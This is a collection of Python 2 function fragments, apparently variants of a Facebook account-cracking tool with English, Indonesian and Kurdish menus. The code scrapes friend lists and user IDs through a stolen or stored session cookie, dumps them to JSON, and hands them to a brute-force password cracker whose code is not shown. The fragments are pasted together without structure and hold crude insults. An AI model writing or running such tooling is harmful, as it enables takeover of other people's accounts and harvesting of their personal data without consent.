def main(self, response): os.system('clear') print(self.config.banner()) html = parser(response, 'html.parser') print('_________________________________________________________') print('\n(\033[0;96m•\033[0m) ACTIVE USER : '******'utf-8') + html.title.text.upper()) print('_________________________________________________________') print(self.menu) try: choose = int(raw_input('Choose >> ')) except ValueError: exit('\n\033[0;91mYou stuppid.\033[0m') if choose == 1: exit(friends_list.main(self, self.cookie, self.url, self.config)) elif choose == 2: exit(friends.main(self, self.cookie, self.url, self.config)) elif choose == 3: exit(search_name.main(self, self.cookie, self.url, self.config)) elif choose == 4: exit(likes.main(self, self.cookie, self.url, self.config)) elif choose == 5: exit(crack.Brute().main()) elif choose == 0: ask = raw_input('\nAre you Sure? [y/N]: ') if ask.lower() == 'y': print('\nRemoving cookies...') time.sleep(2) os.remove('log/cookies.log') print('\n\033[0;92mSuccess removed!\033[0m') time.sleep(2) login.loginFb(self, self.url, self.config) self.cookie = self.config.loadCookie() self.start() else: self.cookie = self.config.loadCookie() print('\ncanceled!') self.start() else: exit('\n\033[0;91mYou stuppid.\033[0m')
def main(self, response): os.system('clear') print(self.config.banner()) html = parser(response, 'html.parser') print('\n Pengguna Aktif : '.decode('utf-8') + html.title.text.upper()) print(self.menu) try: choose = int(raw_input(' Pilih Angka : ')) except ValueError: exit('\n\033[0;91mPake angka coek;v\033[0m') if choose == 199: exit(friends_list.main(self, self.cookie, self.url, self.config)) elif choose == 1: exit(friends.main(self, self.cookie, self.url, self.config)) elif choose == 2: exit(search_name.main(self, self.cookie, self.url, self.config)) elif choose == 3: exit(likes.main(self, self.cookie, self.url, self.config)) elif choose == 4: exit(crack.Brute().main()) elif choose == 99: ask = raw_input('\nYakin lu coek? [y/n]: ') if ask.lower() == 'y': print('\nMenghapus cookies...') time.sleep(2) os.remove('log/cookies.log') print('\n\033[0;92mBerhasil dihapus ea;v\033[0m') time.sleep(2) login.loginFb(self, self.url, self.config) self.cookie = self.config.loadCookie() self.start() else: self.cookie = self.config.loadCookie() print('\nbatal;v!') self.start() else: exit('\n\033[0;91mLiat list gblk;v\033[0m')
def main(self, cookie, url, config): flist = raw_input('\nEnter friends list url: ') try: domain = flist.split('//')[1].split('/')[0] flist = flist.replace(domain, 'mbasic.facebook.com') except IndexError: exit('\n\033[0;91mInvalids url!\033[0m') output = re.findall('https:\/\/.*?\/(.*?)\/friends\?lst=', flist) _output = re.findall('id=(.*?)&refid=', flist) if len(output) == 0 and len(_output) == 0: exit('\n\033[0;91mInvalids url!\033[0m') elif len(output) != 0: output = 'dump/search.json' else: output = 'dump/search.json' id = [] print('') while True: try: response = config.httpRequest(flist, cookie).encode('utf-8') html = parser(response, 'html.parser') for x in html.find_all(style='vertical-align: middle'): find = x.find('a') if '+' in str(find) or find == None: continue else: full_name = str(find.text.encode('utf-8')) if '/profile.php?id=' in str(find): uid = re.findall('/?id=(.*?)&', find['href']) else: uid = re.findall('/(.*?)\?fref=', find['href']) if len(uid) == 1: id.append({'uid': uid[0], 'name': full_name}) sys.stdout.write( "\r - %s \r\n[\033[0;96m%s\033[0m] [\033[0;91m%s\033[0m] Writing Id don't close." % (full_name, datetime.now().strftime('%H:%M:%S'), len(id))) sys.stdout.flush() if 'Lihat Teman Lain' in str(html): flist = url + html.find('a', string='Lihat Teman Lain')['href'] else: break except KeyboardInterrupt: print('\n\n\033[0;91mKeyInterrupt, stopped!!\033[0m') break try: for filename in os.listdir('dump'): os.remove('dump/' + filename) except: pass print('\n\nOutput: ' + output) save = open(output, 'w') save.write(json.dumps(id)) save.close() exit(crack.Brute().main())
def main(self, response): os.system('clear') os.system('figlet S e Z a R') html = parser(response, 'html.parser') print '\033[1;97m----------------------------------------------------------------------------\033[' print( '\x1b[0;97m [\x1b[0;95m\xc3\x97\x1b[0;97m] \x1b[0;96mNawe Acawntakat \x1b[0;91m:\x1b[0;93m ' ).decode('utf-8') + html.title.text.upper() print '\033[1;97m----------------------------------------------------------------------------\033[' print self.menu try: choose = int( raw_input( '\x1b[1;97m [\x1b[1;94m\xe2\x80\xa2\x1b[1;91m\xe2\x80\xa2\x1b[1;97m] \x1b[90m\xe2\x96\xba\x1b[1;93m ' )) except ValueError: print '\n\x1b[0;97m [\x1b[0;91m!\x1b[0;97m]\x1b[0;91m Lihat Menu Dong Ajg' os.system('python2 crack.py') if choose == 1 or choose == 1: exit(friends_list.main(self, self.cookie, self.url, self.config)) elif choose == 2 or choose == 2: exit(friends.main(self, self.cookie, self.url, self.config)) elif choose == 3 or choose == 3: exit(search_name.main(self, self.cookie, self.url, self.config)) elif choose == 4 or choose == 4: exit(likes.main(self, self.cookie, self.url, self.config)) elif choose == 5 or choose == 5: ngentod = raw_input( '\n\x1b[0;97m[\x1b[0;91m?\x1b[0;97m] Datawedast bkay ba Crack [y/n]\x1b[0;91m :\x1b[0;92m ' ) print '\033[1;97m----------------------------------------------------------------------------\033[' if ngentod.lower() == '': exit('\n \x1b[0;91mTkaya y/n halbzhera!') elif ngentod.lower() == 'y': exit(crack.Brute().main()) elif ngentod.lower() == 'n': os.system('python2 crack.py') else: exit(' \x1b[0;91mTkaya y/n Halbzhera!') elif choose == 777262777777 or choose == 777262777777: print '\n\n\x1b[0;92m [ \x1b[0;96mMohon Tunggu Sedang Meng Update Tools \x1b[0;92m]\n' time.sleep(2) os.system('git pull') print ' \n\x1b[0;97m[\x1b[0;92m\xe2\x9c\x93\x1b[0;97m]\x1b[0;92m Berhasil Di Update!\n' time.sleep(2) os.system('python2 crack.py') elif choose == 0 or choose == 0: time.sleep(2) os.system('exit') os.system('exit') elif choose == 6 or choose == 6: ask = raw_input( '\n\x1b[0;97mDatawe darchet la chockiesakat? [y/n]\x1b[0;91m :\x1b[0;92m ' ) if ask.lower() == 'y': print '\n \x1b[0;97m [\x1b[0;95m\xe2\x80\xa2\x1b[0;97m] Darchwet\x1b[0;92m...' time.sleep(2) os.remove('log/cookies.log') print '\n\x1b[0;97m [\x1b[0;92m\xe2\x88\x9a\x1b[0;97m] !' time.sleep(2) login.loginFb(self, self.url, self.config) self.cookie = self.config.loadCookie() self.start() else: self.cookie = self.config.loadCookie() print '\n\x1b[0;97m [\x1b[0;91m!\x1b[0;97m] \x1b[0;91mBatal Terhapus' self.start() else: print '\n \x1b[0;97m[\x1b[0;91m!\x1b[0;97m] \x1b[0;91mLihat Menu Dong Ajg' os.system('python2 crack.py')